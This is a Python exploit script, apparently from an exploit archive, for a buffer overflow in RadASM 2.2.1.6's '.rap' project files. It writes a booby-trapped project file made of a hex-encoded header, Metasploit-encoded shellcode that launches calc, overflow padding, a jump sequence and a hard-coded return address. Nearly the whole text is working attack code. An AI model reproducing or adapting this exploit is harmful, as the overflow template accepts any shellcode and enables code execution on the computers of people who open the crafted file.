RadASM 2.2.1.6 – ‘.rap’ Universal Buffer Overflow
#!/usr/bin/python #[+] Radasm (.rap) Universal buffer overflow Exploit #[+] Original : http://www.exploit-db.com/exploits/11392 #[+] Exploit : Dz_attacker (dz_attacker@hotmail.fr) header1=( "\x5b\x50\x72\x6f\x6a\x65\x63\x74\x5d\x0d\x0a\x41\x73\x73\x65\x6d\x62\x6c\x65\x72" "\x3d\x6d\x61\x73\x6d\x0d\x0a\x47\x72\x6f\x75\x70\x3d\x31\x0d\x0a\x47\x72\x6f\x75" "\x70\x45\x78\x70\x61\x6e\x64\x3d\x31\x0d\x0a\x5b\x46\x69\x6c\x65\x73\x5d\x0d\x0a" "\x31\x3d\x41\x56\x50\x20") header2=( "\x2e\x41\x73\x6d\x0d\x0a\x32\x3d\x41\x56\x50\x20\x4f\x76\x65\x72\x2e\x49\x6e\x63" "\x0d\x0a\x5b\x4d\x61\x6b\x65\x46\x69\x6c\x65\x73\x5d\x0d\x0a\x30\x3d\x41\x56\x50" "\x20\x4f\x76\x65\x72\x2e\x72\x65\x73\x0d\x0a\x5b\x4d\x61\x6b\x65\x44\x65\x66\x5d" "\x0d\x0a\x4d\x65\x6e\x75\x3d\x30\x2c\x31\x2c\x31\x2c\x31\x2c\x31\x2c\x31\x2c\x31" "\x2c\x30\x2c\x30\x2c\x30\x2c\x30\x2c\x30\x2c\x30\x2c\x30\x2c\x30\x2c\x30\x0d\x0a" "\x31\x3d\x34\x2c\x4f\x2c\x24\x42\x5c\x52\x43\x2e\x45\x58\x45\x20\x2f\x76\x2c\x31" "\x0d\x0a\x32\x3d\x33\x2c\x4f\x2c\x24\x42\x5c\x4d\x4c\x2e\x45\x58\x45\x20\x2f\x63" "\x20\x2f\x63\x6f\x66\x66\x20\x2f\x43\x70\x20\x2f\x6e\x6f\x36\x43\x6f\x67\x6f\x20" "\x2f\x49\x22\x24\x49\x22\x2c\x32\x0d\x0a\x33\x3d\x35\x2c\x4f\x2c\x24\x42\x5c\x4c" "\x49\x4e\x4b\x2e\x45\x58\x45\x20\x2f\x53\x55\x42\x53\x59\x53\x54\x45\x4d\x3a\x57" "\x49\x4e\x44\x4f\x57\x53\x20\x2f\x52\x45\x4c\x45\x41\x53\x45\x20\x2f\x56\x45\x52" "\x53\x49\x4f\x4e\x3a\x34\x2e\x30\x20\x2f\x4c\x49\x42\x50\x41\x54\x48\x3a\x22\x24" "\x4c\x22\x20\x2f\x4f\x55\x54\x3a\x22\x24\x35\x22\x2c\x33\x0d\x0a\x34\x3d\x30\x2c" "\x30\x2c\x2c\x35\x0d\x0a\x35\x3d\x72\x73\x72\x63\x2e\x6f\x62\x6a\x2c\x4f\x2c\x24" "\x42\x5c\x43\x56\x54\x52\x45\x53\x2e\x45\x58\x45\x2c\x72\x73\x72\x63\x2e\x72\x65" "\x73\x0d\x0a\x36\x3d\x2a\x2e\x6f\x62\x6a\x2c\x4f\x2c\x24\x42\x5c\x4d\x4c\x2e\x45" "\x58\x45\x20\x2f\x63\x20\x2f\x63\x6f\x66\x66\x20\x2f\x43\x70\x20\x2f\x6e\x6f\x6c" "\x6f\x67\x6f\x20\x2f\x49\x22\x24\x49\x22\x2c\x2a\x2e\x61\x73\x6d\x0d\x0a\x37\x3d" "\x30\x2c\x30\x2c\x22\x24\x45\x5c\x4f\x6c\x6c\x79\x44\x62\x67\x22\x2c\x35\x0d\x0a" "\x5b\x47\x72\x6f\x75\x70\x5d\x0d\x0a\x47\x72\x6f\x75\x70\x3d\x41\x64\x64\x65\x64" "\x20\x66\x69\x6c\x65\x73\x2c\x41\x73\x73\x65\x6d\x62\x6c\x79\x2c\x52\x65\x73\x6f" "\x75\x72\x63\x65\x73\x2c\x4d\x69\x73\x63\x2c\x4d\x6f\x64\x75\x6c\x65\x73\x0d\x0a" "\x31\x3d\x31") # win32_exec - EXITFUNC=process CMD=calc Size=343 Encoder=PexAlphaNum http://metasploit.com shellcode=( "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49" "\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36" "\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34" "\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41" "\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44" "\x42\x30\x42\x50\x42\x50\x4b\x58\x45\x54\x4e\x43\x4b\x48\x4e\x37" "\x45\x50\x4a\x57\x41\x30\x4f\x4e\x4b\x58\x4f\x34\x4a\x41\x4b\x58" "\x4f\x55\x42\x52\x41\x50\x4b\x4e\x49\x54\x4b\x58\x46\x33\x4b\x38" "\x41\x30\x50\x4e\x41\x33\x42\x4c\x49\x59\x4e\x4a\x46\x58\x42\x4c" "\x46\x57\x47\x50\x41\x4c\x4c\x4c\x4d\x50\x41\x30\x44\x4c\x4b\x4e" "\x46\x4f\x4b\x53\x46\x55\x46\x52\x46\x50\x45\x57\x45\x4e\x4b\x38" "\x4f\x55\x46\x52\x41\x50\x4b\x4e\x48\x56\x4b\x48\x4e\x50\x4b\x44" "\x4b\x58\x4f\x45\x4e\x51\x41\x50\x4b\x4e\x4b\x58\x4e\x51\x4b\x38" "\x41\x30\x4b\x4e\x49\x58\x4e\x35\x46\x42\x46\x50\x43\x4c\x41\x43" "\x42\x4c\x46\x36\x4b\x48\x42\x44\x42\x33\x45\x58\x42\x4c\x4a\x57" "\x4e\x30\x4b\x38\x42\x54\x4e\x30\x4b\x38\x42\x57\x4e\x41\x4d\x4a" "\x4b\x48\x4a\x46\x4a\x30\x4b\x4e\x49\x30\x4b\x38\x42\x38\x42\x4b" "\x42\x30\x42\x30\x42\x50\x4b\x38\x4a\x36\x4e\x43\x4f\x55\x41\x53" "\x48\x4f\x42\x36\x48\x45\x49\x48\x4a\x4f\x43\x48\x42\x4c\x4b\x37" "\x42\x55\x4a\x56\x50\x57\x4a\x4d\x44\x4e\x43\x57\x4a\x46\x4a\x59" "\x50\x4f\x4c\x48\x50\x30\x47\x55\x4f\x4f\x47\x4e\x43\x56\x41\x56" "\x4e\x36\x43\x56\x42\x30\x5a") buffer = header1 buffer += "\x41"*2 buffer += shellcode buffer += "\x41"*(1809-len(shellcode)) buffer += "\x61"*3 buffer += "\xFF\xD0" buffer += "\xEB\xF9\x90\x90" buffer += "\x55\x25\x40\x00" #univ ret buffer += header2 try: rap = open("exploit.rap",'w') rap.write(buffer) rap.close() print "Exploit file created!\n" except: print "Error occured!" |